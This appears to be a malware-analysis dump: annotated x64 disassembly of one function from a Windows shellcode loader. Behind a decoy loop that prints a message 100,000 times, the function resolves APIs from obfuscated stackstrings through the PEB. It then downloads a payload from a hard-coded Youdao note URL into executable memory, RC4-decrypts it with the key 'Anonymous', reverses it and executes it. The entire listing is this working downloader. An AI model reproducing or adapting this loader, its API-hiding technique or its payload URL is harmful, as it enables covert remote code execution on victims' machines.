Function at 0x140001700
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x438]
sub rsp, 0x538
xor edi, edi
mov esi, edi
lea r12d, [rdi + 4]
nop word [rax + rax]
lea rdx, str.Printing_message
lea rcx, [0x140025600]
inc esi
call fcn.140004700
mov edx, esi
mov rcx, rax
call fcn.140001ca0
lea rdx, str._times.
mov rcx, rax
call fcn.140004700
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140001e80
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x14000178b
mov rcx, qword [rcx + rbx + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
cmp eax, 0xffffffff
cmove edi, r12d
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test edi, edi
je 0x1400017b0
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x1400017a8
or edx, r12d
xor r8d, r8d
call fcn.1400013e0
mov edi, 0
cmp esi, 0x186a0
jl 0x140001730
mov dword [rbp - 0x70], 0x64616f4c
mov dword [rbp - 0x6c], 0x7262694c
mov dword [rbp - 0x68], 0x41797261
mov byte [rbp - 0x64], dil
mov dword [rsp + 0x70], 0x7373654d
mov dword [rsp + 0x74], 0x42656761
mov dword [rsp + 0x78], 0x41786f
mov dword [rsp + 0x40], 0x74697845
mov dword [rsp + 0x44], 0x636f7250
mov dword [rsp + 0x48], 0x737365
mov dword [rbp - 0x60], 0x74726956
mov dword [rbp - 0x5c], 0x416c6175
mov dword [rbp - 0x58], 0x636f6c6c
mov byte [rbp - 0x54], dil
mov dword [rsp + 0x50], 0x65657246
mov dword [rsp + 0x54], 0x7262694c
mov dword [rsp + 0x58], 0x797261
mov dword [rsp + 0x30], 0x72657375
mov dword [rsp + 0x34], 0x642e3233
mov word [rsp + 0x38], 0x6c6c
mov byte [rsp + 0x3a], dil
mov dword [rbp - 0x80], 0x696e6977
mov dword [rbp - 0x7c], 0x2e74656e
mov dword [rbp - 0x78], 0x6c6c64
mov dword [rsp + 0x60], 0x74726956
mov dword [rsp + 0x64], 0x466c6175
mov dword [rsp + 0x68], 0x656572
mov dword [rbp - 0x40], 0x70747448
mov dword [rbp - 0x3c], 0x72657551
mov dword [rbp - 0x38], 0x666e4979
mov word [rbp - 0x34], 0x416f
mov byte [rbp - 0x32], dil
mov dword [rbp - 0x50], 0x65746e49
mov dword [rbp - 0x4c], 0x74656e72
mov dword [rbp - 0x48], 0x6e65704f
mov word [rbp - 0x44], 0x57
mov dword [rbp - 0x30], 0x65746e49
mov dword [rbp - 0x2c], 0x74656e72
mov dword [rbp - 0x28], 0x6e65704f
mov dword [rbp - 0x24], 0x416c7255
mov byte [rbp - 0x20], dil
mov dword [rbp - 0x18], 0x65746e49
mov dword [rbp - 0x14], 0x74656e72
mov dword [rbp - 0x10], 0x64616552
mov dword [rbp - 0xc], 0x656c6946
mov byte [rbp - 8], dil
mov dword [rbp], 0x65746e49
mov dword [rbp + 4], 0x74656e72
mov dword [rbp + 8], 0x736f6c43
mov dword [rbp + 0xc], 0x6e614865
mov dword [rbp + 0x10], 0x656c64
call fcn.140001620
mov rcx, qword gs:[0x30]
mov rdx, qword [rcx + 0x60]
mov r14, rax
mov rcx, qword [rdx + 0x18]
mov rdx, qword [rcx + 0x10]
mov rcx, qword [rdx]
mov rdx, qword [rcx]
mov rdi, qword [rdx + 0x30]
lea rdx, [rbp - 0x70]
mov rcx, rdi
call r14
lea rcx, [rsp + 0x30]
mov rbx, rax
call rbx
lea rdx, [rsp + 0x70]
mov rcx, rax
call r14
lea rdx, [rsp + 0x40]
mov rcx, rdi
call r14
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r14
lea rdx, [rbp - 0x60]
mov rcx, rdi
call r14
lea rdx, [rsp + 0x60]
mov rcx, rdi
mov r15, rax
call r14
lea rcx, [rbp - 0x80]
mov qword [rbp + 0x498], rax
call rbx
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rdi, rax
call r14
lea rdx, [rbp - 0x50]
mov rcx, rdi
mov r12, rax
call r14
lea rdx, [rbp - 0x30]
mov rcx, rdi
mov rbx, rax
call r14
lea rdx, [rbp - 0x18]
mov rcx, rdi
mov rsi, rax
call r14
lea rdx, [rbp]
mov rcx, rdi
mov r13, rax
call r14
xor edi, edi
lea rcx, str.myfile
lea edx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
mov r14, rax
mov dword [rsp + 0x20], edi
call rbx
lea rdx, str.http:__note.youdao.com_yws_api_personal_file_WEBba3adc76aed96d012caebfc8e8cf2971_methoddownloadinlinetrueshareKey9449222b5caadefbf09f867f5cc188e7
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov rbx, rax
mov dword [rsp + 0x20], 0x80000000
call rsi
xor esi, esi
lea r9, [rbp + 0x490]
lea r8, [rbp + 0x480]
mov edx, 0x20000005
mov rcx, rax
mov rdi, rax
mov dword [rbp + 0x480], esi
mov dword [rbp + 0x490], 4
mov qword [rsp + 0x20], rsi
call r12
mov edx, dword [rbp + 0x480]
lea r9d, [rsi + 0x40]
xor ecx, ecx
mov r8d, 0x1000
call r15
mov r8d, dword [rbp + 0x480]
lea r9, [rbp + 0x488]
mov rdx, rax
mov rcx, rdi
mov r12, rax
mov dword [rbp + 0x488], esi
call r13
mov rcx, rdi
call r14
mov rcx, rbx
call r14
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, str.Anonymous
mov qword [rbp + 0x420], rsi
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rbp + 0x20]
call section..text
mov ebx, dword [rbp + 0x488]
test ebx, ebx
je 0x140001b7e
mov r9d, dword [rbp + 0x424]
mov r8d, dword [rbp + 0x420]
mov rdi, r12
mov r10d, ebx
nop dword [rax]
lea eax, [r8 + 1]
and eax, 0x800000ff
jge 0x140001af4
dec eax
or eax, 0xffffff00
inc eax
movsxd r8, eax
mov dword [rbp + 0x420], eax
mov eax, dword [rbp + r8*4 + 0x20]
add eax, r9d
and eax, 0x800000ff
jge 0x140001b15
dec eax
or eax, 0xffffff00
inc eax
mov dword [rbp + 0x424], eax
movzx edx, byte [rbp + r8*4 + 0x20]
cdqe
mov ecx, dword [rbp + rax*4 + 0x20]
mov dword [rbp + r8*4 + 0x20], ecx
movsxd rax, dword [rbp + 0x424]
mov dword [rbp + rax*4 + 0x20], edx
movsxd r9, dword [rbp + 0x424]
movsxd r8, dword [rbp + 0x420]
mov edx, dword [rbp + r9*4 + 0x20]
add edx, dword [rbp + r8*4 + 0x20]
and edx, 0x800000ff
jge 0x140001b61
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
inc rdi
movzx ecx, byte [rbp + rax*4 + 0x20]
xor byte [rdi - 1], cl
dec r10
jne 0x140001ae0
mov ebx, dword [rbp + 0x488]
movsxd r13, ebx
mov rcx, r13
call fcn.1400056b4
dec ebx
mov rdi, rax
test r13, r13
jle 0x140001ba0
mov r8, r13
xor edx, edx
mov rcx, rax
call fcn.140007200
movsxd rdx, ebx
test ebx, ebx
js 0x140001bf0
lea rcx, [rdx + r12]
nop dword [rax + rax]
movzx eax, byte [rcx]
inc rsi
dec rcx
mov byte [rsi + rdi - 1], al
cmp rsi, rdx
jle 0x140001bb0
test ebx, ebx
js 0x140001bf0
mov r8, rdi
mov rcx, r12
sub r8, r12
inc rdx
nop word [rax + rax]
movzx eax, byte [r8 + rcx]
inc rcx
dec rdx
mov byte [rcx - 1], al
jne 0x140001be0
mov rcx, rdi
call fcn.140005750
call r12
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [rbp + 0x498]
xor eax, eax
add rsp, 0x538
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret